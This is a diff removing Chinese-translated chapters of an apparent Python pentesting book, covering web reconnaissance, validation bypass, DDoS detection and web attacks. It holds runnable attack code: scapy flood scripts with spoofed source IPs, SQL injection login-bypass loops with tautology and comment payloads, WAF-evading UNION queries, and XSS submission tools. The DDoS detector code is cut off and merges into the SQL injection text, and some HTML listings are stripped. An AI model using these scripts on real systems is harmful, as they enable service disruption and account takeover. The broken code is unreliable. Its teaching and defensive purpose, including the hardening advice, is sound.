`在哪里，如下面的截图所示：
-
-
-
-div ID 信息
-
-现在让我们在下面的屏幕截图中看到前面代码的输出：
-
-
-
-代码的输出
-
-考虑另一个你想收集网站信息的例子。在为特定网站收集信息的过程中，您可能使用了[http://smartwhois.com/](http://smartwhois.com/) 。通过使用 SmartWhois，您可以获得有关任何网站的有用信息，例如注册人姓名、注册人组织、名称服务器等。
-
-在以下代码中，您将看到如何从 SmartWhois 获取信息。在信息收集的过程中，我研究了 SmartWhois，发现它的`
`标签保留了相关信息。以下程序将从该标记收集信息，并以可读形式保存在文件中：
-
-```
-import urllib
-from bs4 import BeautifulSoup
-import re
-domain=raw_input("Enter the domain name ")
-url = "http://smartwhois.com/whois/"+str(domain)
-ht= urllib.urlopen(url)
-html_page = ht.read()
-b_object = BeautifulSoup(html_page)
-file_text= open("who.txt",'a')
-who_is = b_object.body.find('div',attrs={'class' : 'whois'})
-who_is1=str(who_is)
-
-for match in re.finditer("Domain Name:",who_is1):
- s= match.start()
-
-lines_raw = who_is1[s:]
-lines = lines_raw.split("
",150)
-i=0
-for line in lines :
- file_text.writelines(line)
- file_text.writelines("\n")
- print line
- i=i+1
- if i==17 :
- break
-file_text.writelines("-"*50)
-file_text.writelines("\n")
-file_text.close()
-```
-
-让我们分析一下`file_text= open("who.txt",'a')`语句，因为我希望您遵循前面的代码。`file_text`文件对象以追加模式打开`who.txt`文件来存储结果。`who_is = b_object.body.find('div',attrs={'class' : 'whois'})`语句生成所需的结果。但是，`who_is`并不包含字符串形式的所有数据。如果我们使用`b_object.body.find('div',attrs={'class' : 'whois'}).text`，它将输出包含标签的所有文本，但这些信息变得非常难以阅读。`who_is1=str(who_is)`语句将信息转换为字符串形式：
-
-```
-for match in re.finditer("Domain Name:",who_is1):
- s= match.start()
-```
-
-前面的代码找到了`"Domain Name:"`字符串的起点，因为我们有价值的信息在这个字符串后面。`lines_raw`变量包含`"Domain Name:"`字符串后面的信息。`lines = lines_raw.split("
",150)`语句使用`
`分隔符分隔行，`"lines"`变量成为一个列表。这意味着在 HTML 页面中，如果存在中断符**``**，则语句将生成一个新行，所有行将存储在名为 lines 的列表中。`i=0`变量初始化为 0，将进一步用于打印行数作为结果。下面的代码以存在于硬盘上的文件形式保存结果，并在屏幕上显示结果。****
-
- ****屏幕输出如下所示：
-
-
-
-SmartWhois 提供的信息
-
-现在，让我们查看文件中的代码输出：
-
-
-
-代码在文件中的输出
-
-### 注
-
-您已经看到了如何从网页中获取超链接，通过使用前面的代码，您可以获取有关超链接的信息。不要停在这里；相反，请尝试在[阅读更多关于 BeautifulSoup 的 http://www.crummy.com/software/BeautifulSoup/bs4/doc/](http://www.crummy.com/software/BeautifulSoup/bs4/doc/) 。
-
-现在，让我们进行一个练习，将列表中的域名作为输入，并将结果写入一个文件中。**** ****# 网站的横幅抓取
-
-在本节中，我们将获取一个网站的 HTTP 横幅。**抓取横幅**或**操作系统指纹**是确定目标 web 服务器上运行的操作系统的一种方法。在下面的程序中，我们将在我们的计算机上嗅探网站的数据包，正如我们在[第 3 章](13.html "Chapter 3. Sniffing and Penetration Testing")、*嗅探和渗透测试*中所做的那样。
-
-横幅抓取器的代码如下所示：
-
-```
-import socket
-import struct
-import binascii
-s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
-while True:
-
- pkt = s.recvfrom(2048)
- banner = pkt[0][54:533]
- print banner
- print "--"*40
-```
-
-由于您必须已经阅读了[第 3 章](13.html "Chapter 3. Sniffing and Penetration Testing")、*嗅探和渗透测试*，因此您应该熟悉此代码。`banner = pkt[0][54:533]`声明在这里是新的。在`pkt[0][54:]`之前，数据包包含 TCP、IP 和以太网信息。在做了一些点击追踪后，我发现抓取横幅的信息位于`[54:533]`之间，你可以通过切片`[54:540]`、`[54:545]`、`[54:530]`等进行点击追踪。
-
-要获得输出，您必须在程序运行时在 web 浏览器中打开网站，如下图所示：
-
-
-
-抢旗
-
-因此，前面的输出显示服务器是 Microsoft IIS.6.0，ASP.NET 是正在使用的**编程语言。我们得到的信息与我们在报头检查过程中收到的信息相同。请尝试此代码，并使用不同的状态代码获取更多信息。**
-
- **通过使用前面的代码，您可以为自己准备信息收集报告。当我将信息收集方法应用到网站上时，我通常会发现客户犯了很多错误。在下一节中，您将看到 web 服务器上最常见的错误。** **# 强化 web 服务器
-
-在本节中，让我们介绍一下在 web 服务器上观察到的常见错误。我们还将讨论以下几点来强化 web 服务器：
-
-* 始终隐藏服务器签名。
-* 如果可能，设置一个伪造的服务器签名，这可能会误导攻击者。
-* 处理错误。
-* 尝试隐藏编程语言页面扩展，因为攻击者很难看到 web 应用程序的编程语言。
-* 使用供应商提供的最新修补程序更新 web 服务器。它避免了任何利用 web 服务器的机会。至少可以保护服务器的已知漏洞。
-* 不要使用第三方补丁来更新 web 服务器。第三方修补程序可能包含特洛伊木马、病毒等。
-* 不要在 web 服务器上安装其他应用程序。如果安装操作系统（如 RHEL 或 Windows），请不要安装其他不必要的软件（如 Office 或 Editor），因为它们可能包含漏洞。
-* 关闭除`80`和`443`之外的所有端口。
-* 不要在 web 服务器上安装任何不必要的编译器，如 gcc。如果攻击者破坏了 web 服务器并希望上载可执行文件，则 ID 或 IP 可以检测到该文件。在这种情况下，攻击者将在 web 服务器上上载代码文件（以文本文件的形式），并在 web 服务器上执行该文件。此执行可能会损坏 web 服务器。
-* 设置活动用户的数量限制，以防止 DDOS 攻击。
-* 在 web 服务器上启用防火墙。防火墙做很多事情，比如关闭端口、过滤流量等等。
-
-# 总结
-
-在本章中，我们了解了 web 服务器签名的重要性，获得服务器签名是黑客攻击的第一步。亚伯拉罕·林肯曾经说过：
-
-> *“给我六个小时砍树，我会用前四个小时磨斧头。”*
-
-同样的情况也适用于我们的情况。在对 web 服务器发起攻击之前，最好准确地检查哪些服务正在其上运行。这是通过 web 服务器的脚打印完成的。错误处理技术是一个被动过程。标题检查和横幅抓取是收集 web 服务器信息的活动过程。在本章中，我们还了解了解析器 Beautifulsoup。可以从 Beautifulsoup 获得超链接、标记、ID 等部分。在上一节中，您已经看到了一些关于强化 web 服务器的指导原则。如果您遵循这些准则，您可能会使您的 web 服务器难以受到攻击。
-
-在下一章中，您将学习客户端验证和参数调整。您将学习如何生成和检测 DoS 和 DDOS 攻击。********
\ No newline at end of file
diff --git a/trans/py-pentest-dev/16.md b/trans/py-pentest-dev/16.md
deleted file mode 100644
index 3f84f96..0000000
--- a/trans/py-pentest-dev/16.md
+++ /dev/null
@@ -1,364 +0,0 @@
-# 第 6 章客户端和 DDoS 攻击
-
-在上一章中，您学习了如何解析 web 页面以及如何从 HTML 页面收集特定信息。在本章中，我们将介绍以下主题：
-
-* 网页中的验证
-* 验证类型
-* 验证的渗透测试
-* 拒绝服务攻击
-* 分布式拒绝服务攻击
-* DDoS 检测
-
-# 引入客户端验证
-
-在 web 浏览器中访问网页时，通常需要打开表单，填写表单，然后提交表单。填写表单时，有些字段可能会有限制，比如用户名，用户名应该是唯一的；密码，应大于 8 个字符，并且这些字段不应为空。为此，使用了两种类型的验证，即客户端验证和服务器端验证。PHP 和 ASP.NET 等语言使用服务器端验证，获取输入参数并将其与服务器数据库匹配。
-
-在客户端验证中，验证在客户端完成。JavaScript 用于客户端验证。快速响应和简单实现使客户端验证在一定程度上受益。然而，频繁使用客户端验证为攻击者提供了一种简单的攻击方式；服务器端验证比客户端验证更安全。普通用户可以在 web 浏览器上看到正在发生的事情。但是黑客可以看到在网络浏览器之外可以做什么。下图说明了客户端和服务器端验证：
-
-
-
-PHP 起着中间层的作用。它将 HTML 页面连接到 SQL Server。
-
-# 用 Python 篡改客户端参数
-
-最常用的两种方法 POST 和 GET 用于传递 HTTP 协议中的参数。如果网站使用 GET 方法，其传递参数显示在 URL 中，您可以更改此参数并将其传递给 web 服务器；这与 POST 方法不同，后者的参数不显示在 URL 中。
-
-在本节中，我们将使用带有简单 JavaScript 代码的虚拟网站，以及 POST 方法传递并托管在 Apache web 服务器上的参数。
-
-让我们看看`index.php`代码：
-
-```
-
-
-
-
Leave your Comments
-
-
-
-
-
Old comments
-
-
-
-```
-
-我希望你能理解 HTML、JavaScript 和 PHP 代码。前面的代码显示了一个示例表单，它包括两个文本提交字段，名称和注释：
-
-```
-if((formObj.name.value.length<1) || (formObj.name.value=="HACKER"))
-{
-alert("Enter your name");
-return false;
-}
-if(formObj.comment.value.length<1)
-{
-alert("Enter your comment.");
-return false;
-}
-```
-
-前面的代码显示验证。如果名称字段为空或填写为`HACKER`，则会显示一个警告框，如果注释字段为空，则会显示一条警告消息，您可以在其中输入注释，如下图所示：
-
-
-
-验证警报框
-
-所以我们的挑战是绕过验证并提交表单。您之前可能已经使用 Burp 套件完成了此操作。现在，我们将使用 Python 来实现这一点。
-
-在上一章中，您看到了 BeautifulSoup 工具；现在我将使用一个名为**mechanize**的 Python 浏览器。mechanize web 浏览器提供了在网页中获取表单的工具，还方便了输入值的提交。通过使用 mechanize，我们将绕过验证，如下代码所示：
-
-```
-import mechanize
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-br.set_handle_redirect(True)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-for form in br.forms():
- print form
-```
-
-我们所有的代码片段都以`import`语句开头。因此，我们在这里导入`mechanize`模块。下一个行创建`mechanize`类的`br`对象。`url = raw_input("Enter URL ")`语句要求用户输入。接下来的五行表示有助于重定向和`robots.txt`处理的浏览器选项。`br.open(url)`语句打开我们提供的 URL。下一条语句在网页上打印表单。现在，让我们检查一下`paratemp.py`程序的输出：
-
-
-
-程序输出显示存在两个名称值。第一个是**名称**，第二个是**注释**，将传递到动作页面。现在我们已经收到了参数。让我们看看代码的其余部分：
-
-```
-br.select_form(nr=0)
-br.form['name'] = 'HACKER'
-br.form['comment'] = ''
-br.submit()
-```
-
-第一行用于选择表单。在我们的网站上，只有一个表格。`br.form['name'] = 'HACKER'`语句填充名称字段中的值`HACKER`，下一行填充空注释，最后一行提交值。
-
-现在，让我们看看双方的结果。代码的输出如下所示：
-
-
-
-提交表格
-
-网站的输出如下图所示：
-
-
-
-验证旁路
-
-前面的屏幕截图显示它已经成功了。
-
-现在，您必须对如何绕过验证有了一个合理的想法。一般来说，人们认为 POST 方法发送的参数是安全的。然而，在前面的实验中，您已经看到对于内部网络中的普通用户来说是安全的。如果网站仅由内部用户使用，那么客户端验证是一个不错的选择。然而，如果您对电子商务网站使用客户端验证，那么您只是在邀请攻击者利用您的网站进行攻击。在下面的主题中，您将看到客户端验证对业务的一些不良影响。
-
-# 参数篡改对业务的影响
-
-作为一名 pentester，您通常需要分析源代码。如今，电子商务的世界正在迅速发展。考虑一个电子商务网站的例子，如下面的截图所示：
-
-
-
-网站示例
-
-上面的截图显示**诺基亚 C7**的价格为**60**，而**iPhone 3G**的价格为**600**。您不知道这些价格是来自数据库还是写在网页上。以下屏幕截图显示了两款手机的价格：
-
-
-
-查看源代码
-
-现在，让我们看看源代码，如以下屏幕截图所示：
-
-
-
-请看前面屏幕截图中的矩形框。价格**60**写入网页，但价格 600 取自数据库。如果使用 GET 方法，则可以通过 URL 篡改来更改**60**的价格。价格可以由 60 改为 6。这将严重影响业务。在白盒测试中，客户端会给你源代码，你可以分析这些代码，但在黑盒测试中，你必须使用攻击进行测试。如果使用 POST 方法，则可以使用 Mozilla 插件篡改数据（[https://addons.mozilla.org/en-US/firefox/addon/tamper-data/](https://addons.mozilla.org/en-US/firefox/addon/tamper-data/) 用于参数篡改。您必须手动完成，因此，不需要使用 Python 编程。
-
-# 引入 DoS 和 DDoS
-
-在本节中，我们将讨论一种最致命的攻击，称为拒绝服务攻击。此攻击的目的是消耗机器或网络资源，使其无法供预期用户使用。通常，攻击者在每次其他攻击失败时使用此攻击。这种攻击可以在数据链路、网络或应用层进行。通常，web 服务器是黑客的目标。在 DoS 攻击中，攻击者向 web 服务器发送大量请求，目的是消耗网络带宽和机器内存。在**分布式拒绝服务**（**DDoS**攻击中，攻击者从不同 IP 发送大量请求。为了执行 DDoS，攻击者可以使用特洛伊木马或 IP 欺骗。在本节中，我们将进行各种实验以完成我们的报告。
-
-## 单 IP 单端口
-
-在这次攻击中，我们使用单个 IP（可能是伪造的）从单个源端口号向 web 服务器发送大量数据包。这是一种非常低级的 DoS 攻击，这将测试 web 服务器的请求处理能力。
-
-以下是`sisp.py`的代码：
-
-```
-from scapy.all import *
-src = raw_input("Enter the Source IP ")
-target = raw_input("Enter the Target IP ")
-srcport = int(raw_input("Enter the Source Port "))
-i=1
-while True:
- IP1 = IP(src=src, dst=target)
- TCP1 = TCP(sport=srcport, dport=80)
- pkt = IP1 / TCP1
- send(pkt,inter= .001)
- print "packet sent ", i
- i=i+1
-```
-
-我使用 scapy 编写了这段代码，希望您熟悉这段代码。前面的代码要求三件事：源 IP 地址、目标 IP 地址和源端口地址。
-
-让我们检查攻击者机器上的输出：
-
-
-
-单端口单 IP
-
-我使用了一个伪造的 IP 来隐藏我的身份。您必须发送大量数据包来检查 web 服务器的行为。在攻击过程中，尝试打开托管在 web 服务器上的网站。不管是否有效，将你的发现写在报告中。
-
-让我们检查服务器端的输出：
-
-
-
-服务器上的 Wireshark 输出
-
-此输出显示我们的数据包已成功发送到服务器。用不同的序列号重复此程序。
-
-## 单 IP 多端口
-
-现在，在这个攻击中，我们使用一个 IP 地址，但使用多个端口。
-
-在这里，我已经编写了`simp.py`程序的代码：
-
-```
-from scapy.all import *
-
-src = raw_input("Enter the Source IP ")
-target = raw_input("Enter the Target IP ")
-
-i=1
-while True:
- for srcport in range(1,65535):
- IP1 = IP(src=src, dst=target)
- TCP1 = TCP(sport=srcport, dport=80)
- pkt = IP1 / TCP1
- send(pkt,inter= .0001)
- print "packet sent ", i
- i=i+1
-```
-
-我对端口使用了`for`循环，让我们检查攻击者的输出：
-
-
-
-来自攻击者机器的数据包
-
-前面的截图显示数据包发送成功。现在，检查目标机器上的输出：
-
-
-
-目标计算机中出现的数据包
-
-在前面的屏幕截图中，矩形框显示端口号。我将让您用一个端口创建多个 IP。
-
-## 多 IP 多端口
-
-在本节中，我们将讨论具有多个端口地址的多 IP。在这次攻击中，我们使用不同的 IP 将数据包发送到目标。多个 IP 表示欺骗 IP。以下程序将从伪造的 IP 发送大量数据包：
-
-```
-import random
-from scapy.all import *
-target = raw_input("Enter the Target IP ")
-
-i=1
-while True:
- a = str(random.randint(1,254))
- b = str(random.randint(1,254))
- c = str(random.randint(1,254))
- d = str(random.randint(1,254))
- dot = "."
- src = a+dot+b+dot+c+dot+d
- print src
- st = random.randint(1,1000)
- en = random.randint(1000,65535)
- loop_break = 0
- for srcport in range(st,en):
- IP1 = IP(src=src, dst=target)
- TCP1 = TCP(sport=srcport, dport=80)
- pkt = IP1 / TCP1
- send(pkt,inter= .0001)
- print "packet sent ", i
- loop_break = loop_break+1
- i=i+1
- if loop_break ==50 :
- break
-```
-
-在前面的代码中，我们使用了`a`、`b`、`c`和`d`变量来存储四个随机字符串，范围从 1 到 254。`src`变量存储随机 IP 地址。在这里，我们使用了`loop_break`变量在 50 个数据包之后中断`for`循环。这意味着 50 个数据包来自一个 IP，而其余代码与前一个相同。
-
-让我们检查一下`mimp.py`程序的输出：
-
-
-
-具有多个端口的多 IP
-
-在前面的屏幕截图中，您可以看到在数据包 50 之后，IP 地址发生了变化。
-
-让我们检查目标机器上的输出：
-
-
-
-Wireshark 上目标机器的输出
-
-使用多台机器并执行此代码。在前面的屏幕截图中，您可以看到机器回复到源 IP。这种类型的攻击非常难以检测，因为很难区分数据包是来自有效主机还是来自欺骗主机。
-
-## DDoS 检测
-
-当我攻读工程硕士学位时，我和我的朋友正在研究 DDoS 攻击。这是一种非常严重且难以检测的攻击，几乎无法猜测流量是来自假主机还是真主机。在 DoS 攻击中，流量仅来自一个来源，因此我们可以阻止该特定主机。基于某些假设，我们可以制定规则来检测 DDoS 攻击。如果 web 服务器仅运行包含端口 80 的流量，则应该允许它。现在，让我们看一段非常简单的代码来检测 DDoS 攻击。程序名称为`DDOS_detect1.py`：
-
-```
-import socket
-import struct
-from datetime import datetime
-s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
-dict = {}
-file_txt = open("dos.txt",'a')
-file_txt.writelines("**********")
-t1= str(datetime.now())
-file_txt.writelines(t1)
-file_txt.writelines("**********")
-file_txt.writelines("\n")
-print "Detection Start ......."
-D_val =10
-D_val1 = D_val+10
-while True:
-
- pkt = s.recvfrom(2048)
- ipheader = pkt[0][14:34]
- ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
- IP = socket.inet_ntoa(ip_hdr[3])
- print "Source IP", IP
- if dict.has_key(IP):
- dict[IP]=dict[IP]+1
- print dict[IP]
- if(dict[IP]>D_val) and (dict[IP]D_val) and (dict[IP]D_val)`检测传入数据包的计数是否超过`D_val`值。如果超过，后续语句在得到新包后将 IP 写入`dos.txt`。为了避免冗余，使用了`(dict[IP] 0`，则用户可以访问其帐户。如果攻击者在用户名和密码字段中输入`1" or "1"="1`，则查询如下：
-
-```
- $sql = "SELECT count(*) FROM cros where (User="1" or "1"="1." and Pass="1" or "1"="1")";.
-```
-
-`User`和`Pass`字段将保留`true`，而`count(*)`字段将自动变为`count(*)> 0`。
-
-让我们编写`sql_form6.py`代码并逐行分析：
-
-```
-import mechanize
-import re
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-br.set_handle_redirect(True)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-
-for form in br.forms():
- print form
-br.select_form(nr=0)
-pass_exp = ["1'or'1'='1",'1" or "1"="1']
-
-user1 = raw_input("Enter the Username ")
-pass1 = raw_input("Enter the Password ")
-
-flag =0
-p =0
-while flag ==0:
- br.select_form(nr=0)
- br.form[user1] = 'admin'
- br.form[pass1] = pass_exp[p]
- br.submit()
- data = ""
- for link in br.links():
- data=data+str(link)
-
- list = ['logout','logoff', 'signout','signoff']
- data1 = data.lower()
-
- for l in list:
- for match in re.findall(l,data1):
- flag = 1
- if flag ==1:
- print "\t Success in ",p+1," attempts"
- print "Successfull hit --> ",pass_exp[p]
-
- elif(p+1 == len(pass_exp)):
- print "All exploits over "
- flag =1
- else :
- p = p+1
-```
-
-在`for`循环之前，您应该能够理解程序。`pass_exp`变量表示包含基于重言式的密码攻击的列表。`user1`和`pass1`变量要求用户输入用户名和密码字段，如表单所示。`flag=0`变量使`while`循环继续，`p`变量初始化为`0`。在`while`循环（即`br.select_form(nr=0)`语句）中，选择 HTML 表单一。实际上，此代码基于这样的假设：当您转到登录屏幕时，它将在第一个 HTML 表单中包含登录用户名和密码字段。`br.form[user1] = 'admin'`语句存储用户名；实际上，我用它使代码简单易懂。`br.form[pass1] = pass_exp[p]`语句显示传递给`br.form[pass1]`的`pass_exp`列表的元素。接下来，`for`循环部分将输出转换为字符串格式。我们如何知道密码是否已成功接受？您已经看到，在成功登录到页面后，您将在页面上找到一个注销或注销选项。我在一个名为`list`的列表中存储了注销和注销选项的不同组合。`data1 = data.lower()`语句将所有数据更改为小写。这样可以很容易地在数据中找到注销或注销条款。现在，让我们看看代码：
-
-```
-for l in list:
- for match in re.findall(l,data1):
- flag = 1
-```
-
-前面的代码将在`data1`中找到`list`的任何值。如果找到匹配项，则`flag`变为`1`；这将打破`while`循环。接下来，`if flag ==1`语句将显示成功的尝试。让我们看下一行代码：
-
-```
-elif(p+1 == len(pass_exp)):
- print "All exploits over "
- flag =1
-```
-
-前面的代码显示，如果`pass_exp`列表的所有值都已结束，则`while`循环将中断。
-
-现在，让我们检查以下屏幕截图中的代码输出：
-
-
-
-SQL 注入攻击
-
-前面的屏幕截图显示了代码的输出。这是清除程序逻辑的非常基本的代码。现在，我希望您修改代码并生成新的代码，您可以为密码和用户名提供列表值。
-
-我们可以为包含`user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ]`的用户名编写不同的代码（`sql_form7.py`，并在密码字段中填写任何内容。此列表背后的逻辑是，在 admin 字符串`–`或`#`进行注释之后，该行的其余部分在 SQL 语句中：
-
-```
-import mechanize
-import re
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-br.set_handle_redirect(True)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-
-for form in br.forms():
- print form
-form = raw_input("Enter the form name " )
-br.select_form(name =form)
-user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ]
-
-user1 = raw_input("Enter the Username ")
-pass1 = raw_input("Enter the Password ")
-
-flag =0
-p =0
-while flag ==0:
- br.select_form(name =form)
- br.form[user1] = user_exp[p]
- br.form[pass1] = "aaaaaaaa"
- br.submit()
- data = ""
- for link in br.links():
- data=data+str(link)
-
- list = ['logout','logoff', 'signout','signoff']
- data1 = data.lower()
-
- for l in list:
- for match in re.findall(l,data1):
- flag = 1
- if flag ==1:
- print "\t Success in ",p+1," attempts"
- print "Successfull hit --> ",user_exp[p]
-
- elif(p+1 == len(user_exp)):
- print "All exploits over "
- flag =1
- else :
- p = p+1
-```
-
-在前面的代码中，我们又使用了一个变量`form`；在输出中，您必须选择表单名称。在`sql_form6.py`代码中，我假设用户名和密码包含在表单编号`1`中。
-
-前面代码的输出如下所示：
-
-
-
-SQL 注入用户名查询漏洞
-
-现在，我们可以合并`sql_form6.py`和`sql_from7.py`代码并生成一个代码。
-
-为了减轻前面的 SQL 注入攻击，您必须设置一个过滤程序来过滤用户输入的输入字符串。在 PHP 中，`mysql_real_escape_string()`函数用于过滤。下面的屏幕截图显示了如何使用此功能：
-
-
-
-PHP 中的 SQL 注入过滤器
-
-到目前为止，您已经了解了如何执行 SQL 注入攻击。在 SQL 注入攻击中，我们必须手动执行很多操作，因为有很多 SQL 注入攻击，例如基于时间、基于 SQL 查询的包含顺序、基于联合等。每个 pentester 都应该知道如何手工创建查询。对于一种类型的攻击，您可以制作一个程序，但是现在，不同的网站开发人员使用不同的方法来显示数据库中的数据。有些开发人员使用 HTML 表单来显示数据，有些开发人员使用简单的 HTML 语句来显示数据。一个 Python 工具**sqlmap**可以做很多事情。然而，有时会出现 web 应用程序防火墙，如 mod security；这不允许通过查询**联合**和**订单等。在这种情况下，您必须手动创建查询，如下所示：**
-
-```
-/*!UNION*/ SELECT 1,2,3,4,5,6,--
-/*!00000UNION*/ SELECT 1,2,database(),4,5,6 –
-/*!UnIoN*/ /*!sElEcT*/ 1,2,3,4,5,6 –
-```
-
-您可以创建一个精心编制的查询的列表。当简单查询不起作用时，您可以检查网站的行为。根据行为，您可以决定查询是否成功。在这个例子中，Python 编程非常有帮助。
-
-现在让我们看一下为基于防火墙的网站制作 Python 程序的步骤：
-
-1. 列出所有精心编制的查询。
-2. 对网站应用一个简单的查询，并观察网站的响应。
-3. 将此响应用于`attempt not successful`。
-4. 逐个应用列出的查询，并按程序匹配响应。
-5. 如果响应不匹配，则手动检查查询。
-6. 如果显示成功，则停止该程序。
-7. 如果不成功，则将其添加到`attempt not successful`中，并继续执行列出的查询。
-
-前面的步骤仅用于显示精心编制的查询是否成功。只有通过查看网站才能找到所需的结果。
-
-# 学习跨站点脚本
-
-在本节中，我们将讨论**跨站点脚本**（**XSS**攻击。XSS 攻击利用动态生成的网页中的漏洞进行攻击，当发送到用户浏览器进行呈现的动态内容中包含无效输入数据时，就会发生这种。
-
-跨站点攻击有以下两种类型：
-
-* 持久或存储的 XSS
-* 非持久或反射 XSS
-
-## 持久或存储的 XSS
-
-在这种类型的攻击中，攻击者的输入存储在 web 服务器中。在一些网站上，你会看到评论栏和一个可以写评论的消息框。提交评论后，您的评论将显示在显示页面上。试着想想一个例子，你的评论成为 web 服务器 HTML 页面的一部分；这意味着您可以更改网页。如果没有适当的验证，那么您的恶意代码可能会存储在数据库中，当它反射回网页时，会产生不良效果。它被永久存储在数据库服务器中，这就是为什么它被称为持久性。
-
-## 非持久或反射 XSS
-
-在这种类型的攻击中，攻击者的输入不存储在数据库服务器中。响应以错误消息的形式返回。输入以 URL 或在搜索字段中给出。在本章中，我们将研究存储的 XSS。
-
-现在让我们看看 XSS 攻击的代码。代码的逻辑是向网站发送漏洞攻击。在以下代码中，我们将攻击表单的一个字段：
-
-```
-import mechanize
-import re
-import shelve
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-#br.set_handle_redirect(False)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-s = shelve.open("mohit.xss",writeback=True)
-for form in br.forms():
- print form
-
-att = raw_input("Enter the attack field ")
-non = raw_input("Enter the normal field ")
-br.select_form(nr=0)
-
-p =0
-flag = 'y'
-while flag =="y":
- br.open(url)
- br.select_form(nr=0)
- br.form[non] = 'aaaaaaa'
- br.form[att] = s['xss'][p]
- print s['xss'][p]
- br.submit()
- ch = raw_input("Do you continue press y ")
- p = p+1
- flag = ch.lower()
-```
-
-此代码是为使用名称和注释字段的网站编写的。这段代码将让您了解如何完成 XSS 攻击。有时，当您提交评论时，网站将重定向到显示页面。这就是为什么我们使用`br.set_handle_redirect(False)`语句进行评论。在代码中，我们将漏洞代码存储在`mohit.xss`搁置文件中。`br.forms():`中的表单语句将打印表单。通过查看表单，可以选择要攻击的表单字段。设置`flag = 'y'`变量使`while`循环至少执行一次。有趣的是，当我们使用`br.open(url)`语句时，它每次都会打开网站的 URL，因为在我的虚拟网站中，我使用了重定向；这意味着在提交表单后，它将重定向到显示页面，该页面将显示旧的注释。`br.form[non] = 'aaaaaaa'`语句只填充输入字段中的`aaaaaa`字符串。`br.form[att] = s['xss'][p]`语句显示所选字段将由 XSS 漏洞字符串填充。`ch = raw_input("Do you continue press y ")`语句要求用户输入下一次攻击。如果用户输入了`y`或`Y`，则`ch.lower()`将其设置为`y`，从而使`while`循环保持活动状态。
-
-现在，是输出的时候了。以下截图显示了`192.168.0.5`的索引页面：
-
-
-
-网站的索引页
-
-现在是查看代码输出的时候了：
-
-
-
-代码的输出
-
-您可以在前面的屏幕截图中看到代码的输出。当我按下*y*键时，代码发送 XSS 漏洞。
-
-现在我们来看网站的输出：
-
-
-
-网站的输出
-
-您可以看到代码正在成功地将输出发送到网站。但是，由于 PHP 中的安全编码，该字段不受 XSS 攻击的影响。在本章末尾，您将看到**注释**字段的安全编码。现在，运行代码并检查名称字段。
-
-
-
-对名称字段的攻击成功
-
-现在，让我们来看看 ToeT0}的代码，从中可以看到更新 T1。
-
-```
-import shelve
-def create():
- print "This only for One key "
- s = shelve.open("mohit.xss",writeback=True)
- s['xss']= []
-
-def update():
- s = shelve.open("mohit.xss",writeback=True)
- val1 = int(raw_input("Enter the number of values "))
-
- for x in range(val1):
- val = raw_input("\n Enter the value\t")
- (s['xss']).append(val)
- s.sync()
- s.close()
-
-def retrieve():
- r = shelve.open("mohit.xss",writeback=True)
- for key in r:
- print "*"*20
- print key
- print r[key]
- print "Total Number ", len(r['xss'])
- r.close()
-
-while (True):
- print "Press"
- print " C for Create, \t U for Update,\t R for retrieve"
- print " E for exit"
- print "*"*40
- c=raw_input("Enter \t")
- if (c=='C' or c=='c'):
- create()
-
- elif(c=='U' or c=='u'):
- update()
-
- elif(c=='R' or c=='r'):
- retrieve()
-
- elif(c=='E' or c=='e'):
- exit()
- else:
- print "\t Wrong Input"
-```
-
-我希望您熟悉前面的代码。现在，看前面代码的输出：
-
-
-
-xss_data_handler.py 的输出
-
-前面的屏幕截图显示了`mohit.xss`文件的内容；`xss.py`文件仅限于两个字段。然而，现在让我们看看不限于两个字段的代码。
-
-`xss_list.py`文件如下：
-
-```
-import mechanize
-import shelve
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-#br.set_handle_redirect(False)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-s = shelve.open("mohit.xss",writeback=True)
-for form in br.forms():
- print form
-list_a =[]
-list_n = []
-field = int(raw_input('Enter the number of field "not readonly" '))
-for i in xrange(0,field):
- na = raw_input('Enter the field name, "not readonly" ')
- ch = raw_input("Do you attack on this field? press Y ")
- if (ch=="Y" or ch == "y"):
- list_a.append(na)
- else :
- list_n.append(na)
-
-br.select_form(nr=0)
-
-p =0
-flag = 'y'
-while flag =="y":
- br.open(url)
- br.select_form(nr=0)
- for i in xrange(0, len(list_a)):
- att=list_a[i]
- br.form[att] = s['xss'][p]
- for i in xrange(0, len(list_n)):
- non=list_n[i]
- br.form[non] = 'aaaaaaa'
-
- print s['xss'][p]
- br.submit()
- ch = raw_input("Do you continue press y ")
- p = p+1
- flag = ch.lower()
-```
-
-前面的代码能够攻击多个字段或单个字段。在这段代码中，我们使用了两个列表：`list_a`和`list_n`。`list_a`列表包含您希望发送 XSS 漏洞攻击的字段名，`list_n`列表包含您不希望发送 XSS 漏洞攻击的字段名。
-
-现在我们来看节目。如果您了解`xss.py`计划，您会注意到我们对`xss.py`进行了修改，创建了`xss_list.py`：
-
-```
-list_a =[]
-list_n = []
-field = int(raw_input('Enter the number of field "not readonly" '))
-for i in xrange(0,field):
- na = raw_input('Enter the field name, "not readonly" ')
- ch = raw_input("Do you attack on this field? press Y ")
- if (ch=="Y" or ch == "y"):
- list_a.append(na)
- else :
- list_n.append(na)
-```
-
